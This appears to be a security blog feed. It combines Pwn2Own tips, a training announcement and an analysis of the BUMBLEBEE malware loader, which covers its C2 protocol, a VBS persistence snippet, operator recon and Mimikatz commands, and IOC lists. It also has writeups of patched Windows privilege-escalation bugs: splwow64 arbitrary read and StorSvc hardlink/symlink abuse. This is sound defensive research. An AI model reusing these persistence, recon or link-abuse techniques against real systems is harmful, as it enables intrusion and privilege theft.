Five minutes seems like plenty of time – until you’re on stage at Pwn2Own and there’s a clock counting down. If your first attempt fails, do you have a plan? What are you going to check? Can you adjust your exploit in a meaningful way within the allotted time? Certain types of exploits work better at Pwn2Own than others. For example, timing attacks and race conditions might not be the best choice to use at Pwn2Own. Yes, your exploit may work 100% of the time before you arrive at the contest, but what if it doesn’t when you’re on stage? Make a plan B, and probably a plan C and D as well.

8.     Are you participating as an individual, a part of a team, or representing a company?

While we do want maximum participation in each contest, we also need to place some restrictions on how that participation occurs. For example, if you are representing a company, you can’t also participate as an individual. If you are a part of a small team, you can’t also represent a company. This restriction helps keep the contest fair to everyone involved and prevents bug sharing meant to skew the overall results.

9.     When you arrive at the contest, take a minute to confirm the target versions.

Before the contest begins – even before we do the drawing for order – we allow contestants to verify configurations and software versions of the targets. We always use the latest and greatest versions of available software as Pwn2Own targets, and vendors are known to release patches right before the competition in a last-ditch attempt to thwart contestants. It’s a good idea to take a minute and double-check the versions in the contest are the same versions you were testing back home. We will communicate the versions before the contest, so you will know what to target.

10.  Rub a rabbit’s foot, grab a four-leafed clover, or do whatever else brings you luck.

Thanks to the drawing for order at the beginning of each contest, there is a degree of randomness to the competition. You could end up with a great spot in the schedule, or you could end up late in the contest when the chances for bug collisions are higher. But you can’t rely on luck, either. Some teams will just move on to a new target as soon as they find a bug to try to get as many entries in as possible and hope for a good draw - even if their bugs are low-hanging fruit. However, the teams that really want to compete for Master of Pwn spend a lot of time going deep and finding bugs other teams may miss. Pwn2Own is certainly a competition of skill but having a little luck (at least good luck) never hurts either.

Of course, there’s a lot more to participating in Pwn2Own than just these 10 things, but these will definitely help you prepare for the competition and, hopefully, increase your chances of winning. We really do root for all of the contestants, and we want to do all we can to increase your chances of success. Still, we need to adjudicate the contest fairly for all competitors. If you are on the fence about participating in Pwn2Own, I hope this guidance helps you find the right path to joining us. We celebrate the 15th anniversary of the contest this year in Vancouver, and we’d love to see you there.

What to Expect when Exploiting: A Guide to Pwn2Own Participation

Announcing Self-Paced Trainings!

30 April 2022 at 16:44

Self-paced trainings are arriving for all existing public trainings, this includes:

  • Vulnerability Research & Fuzzing

  • Reverse Engineering

  • Offensive Tool Development

  • Misc workshops

This change comes from both interest from previous students & my own preference to learn via pre-recorded content.

Features of self-paced trainings include:

  • Pre-recorded content that matches the 4-day live training versions

    • Includes all the materials you’d normally get in the 4-day live version

    • Includes a free seat on the next 4-day live version (pending seat availability)

  • Unlimited discussions via email/twitter/discord with instructor

  • Free and paid workshops / mini-trainings on various topics

    • I also take requests on workshops / mini-trainings / topics you’d like to see

Different platforms for hosting the self-paced versions have been considered, currently we’re experimenting with the Thinkific platform and are in the process of modifying & uploading all the recorded content (I recently relocated from Australia to USA — this has delayed the self-paced development a bit, but a lot of content is currently uploaded).

While the self-paced versions are being edited and uploaded, I’m offering access to it at a discounted rate (20% off!), this gets you:

  • Access to draft versions of the training content as they’re developed

  • Lifetime Access to the training once completed

Once a particular training has been finalized, the discount for it will no longer be offered.

You can find the draft self-paced training offerings (as they’re developed) here: https://signal-labs.thinkific.com/collections

(Link will be updated when training is finalized)


For any questions feel free to contact us via email at [email protected]

Happy Hacking!

Adventures in the land of BumbleBee

29 April 2022 at 11:14

Authored by: Nikolaos Totosis, Nikolaos Pantazopoulos and Mike Stokkel

Executive summary

BUMBLEBEE is a new malicious loader that is being used by several threat actors and has been observed to download different malicious samples. The key points are:

  • BUMBLEBEE is statically linked with the open-source libraries OpenSSL 1.1.0f, Boost (version 1.68). In addition, it is compiled using Visual Studio 2015.
  • BUMBLEBEE uses a set of anti-analysis techniques. These are taken directly from the open-source project [1].
  • BUMBLEBEE has Rabbort.DLL embedded, using it for process injection.
  • BUMBLEBEE has been observed to download and execute different malicious payloads such as Cobalt Strike beacons.

Introduction

In March 2022, Google’s Threat Analysis Group [2] published about a malware strain linked to Conti’s Initial Access Broker, known as BUMBLEBEE. BUMBLEBEE uses a comparable way of distribution that is overlapping with the typical BazarISO campaigns.

In the last months BUMBLEBEE, would use three different distribution methods:

  • Distribution via ISO files, which are created either with StarBurn ISO or PowerISO software, and are bundled along with a LNK file and the initial payload.
  • Distribution via OneDrive links.
  • Email thread hijacking with password protected ZIP

BUMBLEBEE is currently under heavy development and has seen some small changes in the last few weeks. For example, earlier samples of BUMBLEBEE used the user-agent ‘bumblebee’ and no encryption was applied to the network data. However, this functionality has changed, and recent samples use a hardcoded key as user-agent which is also acting as the RC4 key used for the entire network communication process.

Technical analysis

Most of the identified samples are protected with what appears to be a private crypter and has only been used for BUMBLEBEE binaries so far. This crypter uses an export function with name SetPath and has not implemented any obfuscation method yet (e.g. strings encryption).

The BUMBLEBEE payload starts off by performing a series of anti-analysis checks, which are taken directly from the open source Khasar project[1]. After these checks passed, BUMBLEBEE proceeds with the command-and-control communication to receive tasks to execute.

Network communication

BUMBLEBEE’s implemented network communication procedure is quite simple and straightforward. First, the loader picks an (command-and-control) IP address and sends a HTTPS GET request, which includes the following information in a JSON format (encrypted with RC4):

KeyDescription
client_idA MD5 hash of a UUID value taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystemProduct’.
group_nameA hard-coded value, which represents the group that the bot (compromised host) will be added.
sys_versionWindows OS version
client_versionDefault value that’s set to 1
domain_nameDomain name taken by executing the WMI command ‘SELECT * FROM Win32_ComputerSystem’.
task_stateSet to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed
task_idSet to 0 by default. Used only when the network commands with task name ‘ins‘ or ‘sdl‘ are executed
Description of the values sent to BUMBLEBEE servers

Once the server receives the request, it replies with the following data in a JSON format:

KeyDescription
response_statusBoolean value, which shows if the server correctly parsed the loader’s request. Set to 1 if successful.
tasksArray containing all the tasks
taskTask name
task_idID of the received task, which is set by the operator(s)
task_dataData for the loader to execute in Base64 encoded format
file_entry_pointPotentially represents an offset value. We have not observed this being used either in the binary’s code or during network communication (set to an empty string).
Description of the values returned by the BUMBLEBEE servers

Tasks

Based on the returned tasks from the command-and-control servers, BUMBLEBEE will execute one of the tasks described below. For two of the tasks, shi and dij, BUMBLEBEE uses a list of predefined process images paths:

  • C:\Program Files\Windows Photo Viewer\ImagingDevices.exe
  • C:\Program Files\Windows Mail\wab.exe
  • C:\Program Files\Windows Mail\wabmig.exe
Task nameDescription
shiInjects task’s data into a new process. The processes images paths described above and a random selection is made
dijInjects task’s data into a new process. The injection method defers from the method used in task ‘dij’. The processes images paths described above and a random selection is made.
dexWrites task’s data into a file named ‘wab.exe’ under the Windows in AppData folder.
sdlDeletes loader’s binary from disk.
insAdds persistence to the compromised host.
Description of the tasks performed by BUMBLEBEE

For the persistence mechanism, BUMBLEBEE creates a new directory in the Windows AppData folder with the directory’s name being derived by the client_id MD5 value. Next, BUMBLEBEE copies itself to its new directory and creates a new VBS file with the following content:

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "rundll32.exe my_application_path, IternalJob"

Lastly, it creates a scheduled task that has the following metadata (this can differ from sample to sample):

  1. Task name – Randomly generated. Up to 7 characters.
  2. Author – Asus
  3. Description – Video monitor
  4. Hidden from the UI: True
  5. Path: %WINDIR%\System32\wscript.exe VBS_Filepath

Similarly with the directory’ name, the new loader’s binary and VBS filenames are derived from the ‘client_id’ MD5 value too.

Additional observations

This sub-section contains notes that were collected during the analysis phase and worth to be mentioned too.

  • The first iterations of BUMBLEBEE were observed in September 2021 and were using “/get_load” as URI. Later, the samples started using “/gate”. On 19th of April, they switched to “/gates”, replacing the previous URI.
  • The “/get_load” endpoint is still active on the recent infrastructure – this is probably either for backwards compatibility or ignored by the operator(s). Besides this, most of the earlier samples using URI endpoint are uploaded from non-European countries.
  • Considering that BUMBLEBEE is actively being developed on, the operator(s) did not implement a command to update the loader’s binary, resulting the loss of existing infections.
  • It was found via server errors (during network requests and from external parties) that the backend is written in Golang.
  • As mentioned above, every BUMBLEBEE binary has an embedded group tag. Currently, we have observed the following group tags:
VPS1GROUPALLdll
VPS2GROUP1804RA
VS2G1904r
VPS12004r
SP11904l
RA110425html
LEG07042504r
AL12042704r
RAI1204
Observed BUMBLEBEE group tags
  • As additional payloads, NCC Group’s RIFT has observed mostly Cobalt Strike and Meterpeter being sent as tasks. However, third parties have confirmed the drop of Sliver and Bokbot payloads.
  • While analyzing NCC Group’s RIFT had a case where the command-and-control server sent the same Meterpeter PE file in two different tasks in the same request to be executed. This is probably an attempt to ensure execution of the downloaded payload (Figure 1). There were also cases where the server initially replied with a Cobalt Strike beacon and then followed up with more than two additional payloads, both being Meterpeter.
Figure 1 – Duplicated tasks received
  • In one case, the downloaded Cobalt Strike beacon was executed in a sandbox environment and revealed the following commands and payloads were executed by the operator(s):
    • net group “domain admins” /domain
    • ipconfig /all
    • netstat -anop tcp
    • execution of Mimikatz

Indicators of compromise (IOC’s)

TypeDescriptionValue
IPv4Meterpreter command-and-control server, linked to Group ID 2004r & 25html23.108.57[.]13
IPv4Meterpreter command-and-control server, linked to Group ID 2004r & 2504r130.0.236[.]214
IPv4Cobalt Strike server, linked to Group ID 1904r93.95.229[.]160
IPv4Cobalt Strike server, linked to Group ID 2004r141.98.80[.]175
IPv4Cobalt Strike server, linked to Group ID 2504r & 2704r185.106.123[.]74
IPv4BUMBLEBEE command-and-control servers103.175.16[.]45
103.175.16[.]46
104.168.236[.]99
108.62.118[.]236
108.62.118[.]56
108.62.118[.]61
108.62.118[.]62
108.62.12[.]12
116.202.251[.]3
138.201.190[.]52
142.234.157[.]93
142.91.3[.]109
142.91.3[.]11
149.255.35[.]167
154.56.0[.]214
154.56.0[.]216
168.119.62[.]39
172.241.27[.]146
172.241.29[.]169
185.156.172[.]62
192.236.198[.]63
193.29.104[.]176
199.195.254[.]17
199.80.55[.]44
209.141.59[.]96
209.151.144[.]223
213.227.154[.]158
213.232.235[.]105
23.106.160[.]120
23.106.160[.]39
23.227.198[.]217
23.254.202[.]59
23.81.246[.]187
23.82.140[.]133
23.82.141[.]184
23.82.19[.]208
23.83.133[.]1
23.83.133[.]182
23.83.133[.]216
23.83.134[.]110
23.83.134[.]136
28.11.143[.]222
37.72.174[.]9
45.11.19[.]224
45.140.146[.]244
45.140.146[.]30
45.147.229[.]177
45.147.229[.]23
45.147.231[.]107
49.12.241[.]35
71.1.188[.]122
79.110.52[.]191
85.239.53[.]25
89.222.221[.]14
89.44.9[.]135
89.44.9[.]235
91.213.8[.]23
91.90.121[.]73
Indicators of compromise

References

[1] – https://github.com/LordNoteworthy/al-khaser

[2] – https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

ZecOps Announces Support for Forensics Images Acquired by GrayShift

28 April 2022 at 10:53
ZecOps Announces Support for Forensics Images Acquired by GrayShift

ZecOps is pleased to announce native support of mobile forensic images acquired with Graykey. With the latest release, ZecOps is capable of digesting filesystem archives acquired by GrayKey, GrayShift’s flagship product, providing cybersecurity insights and automatic analysis for ZecOps customers.

ZecOps can automatically digest and analyze various data points that exist on the disk, including user-space crashes, kernel-space crashes, code-signing issues, stored events, filesystem IOCs.

In order to provide ideal results, it’s important to maintain the device tree structure.

Typically with computer forensics, it is correct to perform an extraction as a first step. With mobile devices, however, this is not the case. Due to the reliance on exploits and oftentimes the requirement to power off devices, ZecOps recommends:

  1. Leverage ZecOps Deep or Full collection modes. This will collect indicators of non-persistent malware first and wouldn’t be impacted by the exploits that forensics solutions leverage to operate.
  2. Perform an extraction using solutions like GrayKey.
  3. Import the extraction results into the ZecOps dashboard.

The ZecOps solution is capable of analyzing forensics files generated by the use of Cellebrite, GrayKey / Magnet AXIOM Forensics, and others. 

By digesting the information rapidly and pointing out  attacks, anomalies, and abnormal behavior, ZecOps accelerates investigations from months to minutes, saving valuable time.

To analyze iOS and Android devices for signs of attacks, with or without access to forensics extraction tools, contact ZecOps Sales.

The Story Of CVE-2021-1648

13 January 2021 at 02:29

Author: k0shl of 360 Vulcan Team

Summary

In January 2021 patch tuesday, MSRC patched a vulnerability in splwow64 service, assigned to CVE-2021-1648(also known as CVE-2020-17008), which merged my two interesting cases which bypass the patch of CVE-2020-0986, one of them also be found by Google Project Zero((https://bugs.chromium.org/p/project-zero/issues/detail?id=2096).actually this include one EoP and two info leak cases.

This vulnerability was planned to patch in October 2020, but MSRC seems found some other serious security problems in service, so they postpone the patch for four months.

Background

In this blog, I don't want to talk more about the mechanism of splwow64, there are a lot of analysis of CVE-2020-0986 before, so let's focus on the vulnerability.

After CVE-2020-0986 had been patched, I make a quick bindiff on splwow64 and gdi32full, and found there are two check added after patch.

One is that Microsoft added two printer handle(or aka cookie?) check functions named "FindDriverForCookie" and "FindPrinterHandle", it will check printer driver handle which store in a global variable.

__int64 __fastcall FindDriverForCookie(__int64 a1)
{
  v3 = qword_1800EABA0;
  if ( qword_1800EABA0 )
  {
    do
    {
      if ( a1 == *(_QWORD *)(v3 + 56) ) //check driver index
        break;
      v3 = *(_QWORD *)(v3 + 8);
    }
    while ( v3 );
    if ( v3 )
      ++*(_DWORD *)(v3 + 44);
  }
  RtlLeaveCriticalSection(&semUMPD);
  return v3;// return driver heap
}

__int64 *__fastcall FindPrinterHandle(__int64 a1, int a2, int a3)
{

  for ( i = *(__int64 **)(v3 + 64); i && (*((_DWORD *)i + 2) != v5 || *((_DWORD *)i + 3) != v4); i = (__int64 *)*i ) //check printer handle
    ;

}

Another is that MSRC added two pointer check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" to check if pointer is validate.

FindDriverForCookie and FindPrinterHandle bypass

First, I don't know the purpose that Microsoft add FindDriverForCookie and FindPrinterHandle, maybe it's not for mitigation? After quick review, I found there is a command named 0x6A that can set printer handle which the value we can controll in global variable of service to bypass this two check functions.

__int64 __fastcall bAddPrinterHandle(__int64 a1, int a2, int a3, __int64 a4)
{
  v9 = RtlAllocateHeap(*(_QWORD *)(__readgsqword(0x60u) + 48), 0i64, 24i64);
  v10 = (_QWORD *)v9;
  if ( v9 )
  {
    *(_DWORD *)(v9 + 8) = v6;
    *(_DWORD *)(v9 + 12) = v5;
    *(_QWORD *)(v9 + 16) = v8;
    RtlEnterCriticalSection(&semUMPD);
    *v10 = *(_QWORD *)(v4 + 0x40);
    v7 = 1;
    *(_QWORD *)(v4 + 0x40) = v10; //add print handle which can be controlled by user
    RtlLeaveCriticalSection(&semUMPD);
  }
  return v7;
}

By invoking command 0x6A, function bAddPrinterHandle will add print handle to driver heap which stored in global variable |qword_1800EABA0|.

//set print handle to 0xdeadbeef00006666
0:007> p
gdi32full!bAddPrinterHandle+0x54:
00007ff8`380fc3bc 44897808        mov     dword ptr [rax+8],r15d ds:00000000`0108a428=00000000
0:007> p
gdi32full!bAddPrinterHandle+0x58:
00007ff8`380fc3c0 4489700c        mov     dword ptr [rax+0Ch],r14d ds:00000000`0108a42c=00000000
0:007> r r14d
r14d=deadbeef
0:007> r r15d
r15d=6666

//driver heap stored in global variable
0:007> dq gdi32full+0xEABA0 l1
00007ff8`381baba0  00000000`0108d000
0:007> dq 108d000+0x40 l1
00000000`0108d040  00000000`0108a420
0:007> dq 108a420+0x8 l1
00000000`0108a428  deadbeef`00006666

So we can easy bypass printer handle check during invoking Command 0x6D, and hit the vulnerability code.

  case 0x6Du:
      v31 = FindDriverForCookie(*(_QWORD *)(v6 + 24));
      v32 = v31;
      if ( !v31 )
        goto LABEL_137;
      v33 = FindPrinterHandle(v31, *(_DWORD *)(v6 + 32), *(_DWORD *)(v6 + 36));
      ...
      [vulnerability code]

CVE-2021-1648: arbitrary address read

Let's talk about information disclosure, CVE-2020-1648 includes a arbitrary address read information disclosure.

 if ( v51 != -1 )
 {
    v57 = **(unsigned __int16 ***)(v6 + 0x50); //not check v57
    if ( v57 )
    {
       v58 = v57[34];
       v59 = v58 + v57[35];
       if ( (unsigned int)v59 >= v58 && (unsigned int)v59 <= 0x1FFFE )
         memcpy_0(*(void **)(v6 + 88), v57, v59); //arbitrary address read
    }
  }

The code of case Command 0x6D is too long, so I won't post all of them in my blog. In short, it will check destination address of memcpy if it's in "validate" range, the range of |v6+0x58|, but source address |v57| isn't checked, so we can read arbitrary address.

0:007> r
rax=0000000000868a00 rbx=000000000001fffe rcx=0000000000000000
rdx=4141414141414141 rsi=0000000000150200 rdi=00000000008688d0
rip=00007ff9fc008403 rsp=000000000210f480 rbp=000000000210f4f9
r8=100297f000000002  r9=000000000022f000 r10=00000fff3c9c801d
r11=000000000210f350 r12=0000000000868920 r13=0000000000868910
r14=0000000000000001 r15=0000000000461c50
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!GdiPrinterThunk+0x1a73:
00007ff9fc008403 0fb74a44  movzx ecx,word ptr [rdx+44h] ds:4141414141414185=????

Stack trace:

0:007> k
Child-SP          RetAddr           Call Site
000000000210f480 00007ff7558e78ab gdi32full!GdiPrinterThunk+0x1a73
000000000210f560 00007ff7558e84de splwow64+0x78ab
000000000210f650 00007ff7558e9f28 splwow64+0x84de
000000000210f6b0 00007ff9fe3f2e93 splwow64+0x9f28
000000000210f6e0 00007ff9fe3f45b4 ntdll!RtlDeleteCriticalSection+0x363
000000000210f730 00007ff9fc487bd4 ntdll!RtlInitializeResource+0xce4
000000000210faf0 00007ff9fe42ce51 KERNEL32!BaseThreadInitThunk+0x14
000000000210fb20 0000000000000000 ntdll!RtlUserThreadStart+0x21

Another two cases of CVE-2021-1648

Another two cases I reported to MSRC is about bypassing offset check functions "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset", I think MSRC made a mistake in these two functions range check.

Splwow64 is a specail service which is compatible with x86 in x86-64 Windows OS, so it always allocate heap which is 32bits, but in CVE-2020-0986 patch, "UMPDStringPointerFromOffset" and "UMPDPointerFromOffset" only check if offset and |portview+offset| is less than 0x7fffffff.

signed __int64 __fastcall UMPDPointerFromOffset(unsigned __int64 *a1, __int64 a2, unsigned int a3)
{
   [...]
    if ( v3 <= 0x7FFFFFFF && v3 + a3 <= 0x7FFFFFFF )
    {
      *a1 = v3 + a2;
      return 1i64;
    }
  [...]
}

signed __int64 __fastcall UMPDStringPointerFromOffset(unsigned __int64 *a1, __int64 a2)
{
  [...]
  if ( v3 > 0x7FFFFFFF )
    goto LABEL_12;
  v4 = (0x7FFFFFFF - v3) >> 1;
  *a1 = v3 + a2;
  v5 = (unsigned int)v4;
  if ( v3 + a2 )
    v2 = wcsnlen((const wchar_t *)(v3 + a2), (unsigned int)v4);
  [...]
  return result;
}

But in splwow64 service, so many heaps even stack is allocated in low address, like this:

0:004> pc
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff6`846d7c71 e826490000      call    splwow64!operator new[] (00007ff6`846dc59c)
0:004> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff6`846d7c76 488bf0          mov     rsi,rax
0:004> r rax
rax=00000000007d7c70
0:004> r rsp
rsp=000000000217f400

So it is possible to exploit through occupy to some important heaps or stack in splwow64 service, I suggest MSRC in my report to check range of pointer if it's in portview section instead of 0x7fffffff.

two cases crash dump:

0:006> r
rax=0000000000000000 rbx=00000000012f8360 rcx=000000001363d9e0
rdx=00000000012f8360 rsi=0000000002d60200 rdi=000000001363d9d8
rip=00007fff728956d2 rsp=0000000002cdf230 rbp=0000000000000001
r8=0000000000000028  r9=0000000012345678 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001208210
r14=000000000120aa50 r15=00007fff72860000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!UMPDStringPointerFromOffset+0x12:
00007fff728956d2 4c8b09          mov     r9,qword ptr [rcx] ds:000000001363d9e0=????????????????


0:006> r
rax=0000000000000001 rbx=0000000001628360 rcx=0000000042a3c4a1
rdx=0000000001628360 rsi=0000000000ff0200 rdi=0000000000000000
rip=00007fff7289568a rsp=0000000002ecf3d8 rbp=0000000000000001
r8=0000000000000028  r9=0000000041414141 r10=000000007fffffff
r11=2222222222222222 r12=00007fff57ea8fe0 r13=0000000001407160
r14=000000000140a000 r15=00007fff72860000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
gdi32full!UMPDPointerFromOffset+0xa:
00007fff7289568a 4c8b09          mov     r9,qword ptr [rcx] ds:0000000042a3c4a1=????????????????

The end of story

It seems Microsoft redsigned splwow64 printer service, so they postponed the patch for four months, it's really a long time for me to wait a patch since I started my researching on Windows. Hope new printer service will be more secure:P.

777.PNG

Timeline

2020-07-27 Reported to MSRC.
2020-08-19 MSRC decided to put off patch.
2020-08-22 Bounty awarded
2021-01-13 Patch release

StorSvc writeup and introduction about my analysis script

27 July 2020 at 06:39

Author: k0shl of Qihoo 360 Vulcan Team


Today, I'd like to share two of my favorite logical escalation of priviledge vulnerabilities which I reported in 2019 -- CVE-2019-0983 and CVE-2019-0998 and a simple introduction about my RPC static analysis script, I public these two PoCs and my script in my github. All of them were found by reversing, actually, I don't know how to trigger it by normal user interactive and monite it with monitor such as procmon. I will share more detail about how I found it in this paper.

So let's begin our journey.


StorSvc overview

StorSvc is windows storage service which provide service for storage setttings and extern extension storage. There were two interesting vulnerabilities about Storage Service in history, CVE-2018-0983 which reported by James Forshaw, and a blog(SandboxEscaper deleted that paper) from SandboxEscaper. So I decided to look into this service.

According to James Forshaw and SandboxEscaper founding, they both focused on a RPC interface storsvc!SvcMoveFileInheritSecurity, and after patched, Microsoft seemed patched this logical vulnerability with "a simple way".

After Patch

signed __int64 SvcMoveFileInheritSecurity()
{
  return 0x80004001;
}

But this was not the only RPC interface in this service, after I reversed StorSvc.dll, I found two interesting points.


StorSvc volume structure

Before I introduce about my CVEs, I'd like to talk about a interesting structure during reversing.

Almost every RPC interface reference this structure and check it.

such as:

          v6 = 0x450 * v5;
          v7 = *(_DWORD *)(0x450 * v5 + g_StorageService[v3 + 5] + 564);
          if ( !(v7 & 1)
            ....
         LODWORD(v4) = StringCchCopyW(&FileName, 0x104ui64, (const wchar_t *)(v6 + g_StorageService[v3 + 5] + 4));
              if ( (signed int)v4 >= 0 )
              {
                    .....
              }

As the code show, variable v5 looks like a index, and there is a structure which size is 0x450, g_StorageService is a global variable which store these structures like a structures table. When I went into these RPC interfaces, it always be failure when service check this structure.

0:002> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820  00000000 00000000 00000000 00000000  ................

The content of this structure always be zero. That's bad, so I tried to find why it failed and how to set the value.

After some code review, I noticed that this content can be set by mounting a extension volume.

Now I knew why this value always be zero, I tested it in VM, and there was only one origin volume C:\ in VM. After a little researched, there was a easy way to make it work, I could added a new disk in VM, such as E:. And then, the content of structure is set, and I can got some variable in structure meaning, for example, the offset 0x4 in this structure was point to VolumeName, the offset 0x234 in this structure was point to volume state.

0:001> dc poi(0x7ffe5b683bb0+0x28)+0x450 l4
00000169`44831820  00000000 003a0045 0000005c 00000000  ....E.:.\.......

Now let me introduce CVE-2019-0983 and CVE-2019-0998.
(I used hardlink in these two CVEs, because Microsoft wasn't release hardlink mitigation at that time)


CVE-2019-0983

The vulnerability caused by a logical error in StorageService::ProvisionStorageCardForUser, error code like this:

__int64 __fastcall StorageService::ProvisionStorageCardForUser(__int64 a1, int a2, unsigned int a3, wchar_t *a4)
{
        v22 = StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini");
      v9 = 0;
      if ( v22 >= 0 )
      {
        v23 = StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v21);
        v9 = 0;
        if ( v23 >= 0 )
        {
          CopyFileW(&ExistingFileName, &NewFileName, 0);
          v9 = 0;
        }
      }
}

CVE-2019-0983 is easy to understand. ExistingFileName was "C:\User\k0shl\Video\desktop.ini", and NewFileName was "E:\User\k0shl\Video\desktop.ini", these two files could be controlled by normal user. So I can create a hardlink to a high priviledge file. It will finally be occupied by my controlled file.

After patch:

    v15 = RpcImpersonateClient(0i64);
    if ( v15 < 0 )
      goto LABEL_44;
    v23 = (void **)&v39;
    if ( v41 >= 8 )
      v23 = v39;
    v24 = &v35;
    if ( (unsigned __int64)Dst >= 8 )
      v24 = (struct _SECURITY_ATTRIBUTES **)v35;
    if ( StringCchPrintfW(&ExistingFileName, 0x104ui64, L"%s\\desktop.ini", v24) >= 0
      && StringCchPrintfW(&NewFileName, 0x104ui64, L"%s\\desktop.ini", v23) >= 0 )
    {
      CopyFileW(&ExistingFileName, &NewFileName, 0);
    }
    RpcRevertToSelf();

It invokes RPCimpersonateClient() before CopyFileW().


CVE-2019-0998

The vulnerability caused by a logical error in StorSvc!SvcSetStorageSettings, the error code in function StorageService::SetWriteAccess :

            v14 = GetUserFolder(&pObjectName);
            ...
             _wsplitpath_s(&pObjectName, 0i64, 0i64, 0i64, 0i64, &Filename, 0x104ui64, 0i64, 0i64);
             LODWORD(phkResult) = StringCchCopyW(
                                     &PathName,
                                     0x104ui64,
                                     (const wchar_t *)(*(_QWORD *)(v7 + 8i64 * (_QWORD)v6 + 40) + 1104 * v11 + 4));
              if ( (signed int)phkResult >= 0 )
              {
                LODWORD(phkResult) = PathCchAppend(&PathName, 260i64, &Filename);
            if ( !CreateDirectoryW(&PathName, &SecurityAttributes) )
            {
              v17 = GetLastError();
              if ( v17 == 183 )
              {
                v18 = SetNamedSecurityInfoW(
                        &PathName,
                        SE_FILE_OBJECT,
                        4u,
                        0i64,
                        0i64,
                        *(PACL *)&SecurityAttributes.nLength,
                        0i64);

First, service invoked GetUserFolder() to get a full folder path and _wsplitpath_() to split full path to its final name. For example, GetUserFolder() return a full path "C:\User\k0shl", and after _wsplitpath_(), I get FileName "k0shl".

And finally PathName will set to "E:\k0shl" and invoke CreateDirectory, service want to create a user folder in another volume, and if it create directory failed, it will get last error value, if value is 0xb7, it means file already exist. Service will invoke SetNamedSecurityInfoW to set it DACL, but it not check if PathName is a file or a directory. How about "E:\k0shl" is a file not a direcotry? If I create a file instead of directory in volume and make a symbolic link to a high priviledge file, it will finally modified high priviledge file's DACL.

After patch:

if ( CreateDirectoryW(&PathName, &SecurityAttributes) )
                    goto LABEL_107;
                  v17 = GetLastError();
                  if ( v17 == 183 )
                  {
                    if ( !(GetFileAttributesW(&PathName) & 0x10) )
                    {
                      LODWORD(phkResult) = -2147024891;
                      goto LABEL_92;
                    }
                    v18 = SetNamedSecurityInfoW(
                            &PathName,
                            SE_FILE_OBJECT,
                            4u,
                            0i64,
                            0i64,
                            (PACL)SecurityAttributes.lpSecurityDescriptor,
                            0i64);

After patch, it check the file's attribute to confirm it's a directory. Actually, I think there is still a TOCTOU, but after I test it, the time window is too small, I can't delete directory and make a symbol link between GetFileAttribute and SetNamedSecurityInfoW. Of course, I also can't use oplock, because GetFileAttribute() just query file object information.

Introduction about my analysis script

After I reported these two logical vulnerabilities, I thought about how I found these two vulnerabilities. First, I found some sensitive functions such as SetNamedSecurityInfo or CopyFile, and I get a code path from RPC interface.

As I said in my another blog, I finally decide to write a script to help me analyze all RPC server.

I make a simple framework about script in my mind.

  • Step 1: I need to get all RPC server
  • Step 2: I need to get all RPC interfaces
  • Step 3: I need to parse RPC dll or exe in IDA
  • Step 4: I need to find a code path from RPC interface to sensitive function

Actually, all of this were easy to complete, I use James Forshaw's awesome tool NtApiDotNet, I can use this tool to help me to parse RPC server, there is a class named Win32 in NtApiDotNet, and a interesting method named ParsePeFile.

This function can parse RPC server and export RPC interfaces like RPCView, I just need the RPC interface name.

 public static IEnumerable<RpcServer> ParsePeFile(string file, string dbghelp_path, string symbol_path, bool parse_clients, bool ignore_symbols)
        {
            List<RpcServer> servers = new List<RpcServer>();
            using (var result = SafeLoadLibraryHandle.LoadLibrary(file, LoadLibraryFlags.DontResolveDllReferences, false))
            {
                if (!result.IsSuccess)
                {
                    return servers.AsReadOnly();
                }

                var lib = result.Result;
                var sections = lib.GetImageSections();
                var offsets = sections.SelectMany(s => FindRpcServerInterfaces(s, parse_clients));
                if (offsets.Any())
                {
                    using (var sym_resolver = !ignore_symbols ? SymbolResolver.Create(NtProcess.Current,
                            dbghelp_path, symbol_path) : null)
                    {
                        foreach (var offset in offsets)
                        {
                            IMemoryReader reader = new CurrentProcessMemoryReader(sections.Select(s => Tuple.Create(s.Data.DangerousGetHandle().ToInt64(), (int)s.Data.ByteLength)));
                            NdrParser parser = new NdrParser(reader, NtProcess.Current,
                                sym_resolver, NdrParserFlags.IgnoreUserMarshal);
                            IntPtr ifspec = lib.DangerousGetHandle() + (int)offset.Offset;
                            var rpc = parser.ReadFromRpcServerInterface(ifspec);
                            servers.Add(new RpcServer(rpc, parser.ComplexTypes, file, offset.Offset, offset.Client));
                        }
                    }
                }
            }

            return servers.AsReadOnly();
        }

And in IDA, I can used IDAPython to parse code path with xrefs, and I also found that there maybe path explosion in analyze python script, so I set a recursion depth to 10 and 7, if the function call count is larger than recursion depth, it will return diffrent result, of course you can change it. Now I collected all I need for this script now.

In my script(about script config please check it in my github):

  • I go through all exe and dll file under C:\Windows\System32(Actually, this not include all RPC servers, there are some other RPC servers in other directory or suffix diffrent from "dll" or "exe" such as Windows Defender or unimdm.tsp, you can config the search path in my script)
  • I use Win32.RPC.ParsePeFile to parse every file, if it's a RPC server, it will return code like IDL
  • I create a file store sensitive functions and use a IDAPython script to parse RPC dll or exe
  • I get all the code path to sensitive functions, and if it start from RPC interface which get from the result by Win32.RPC.ParseFile, I store it in SpecialFinal.txt

The result like:

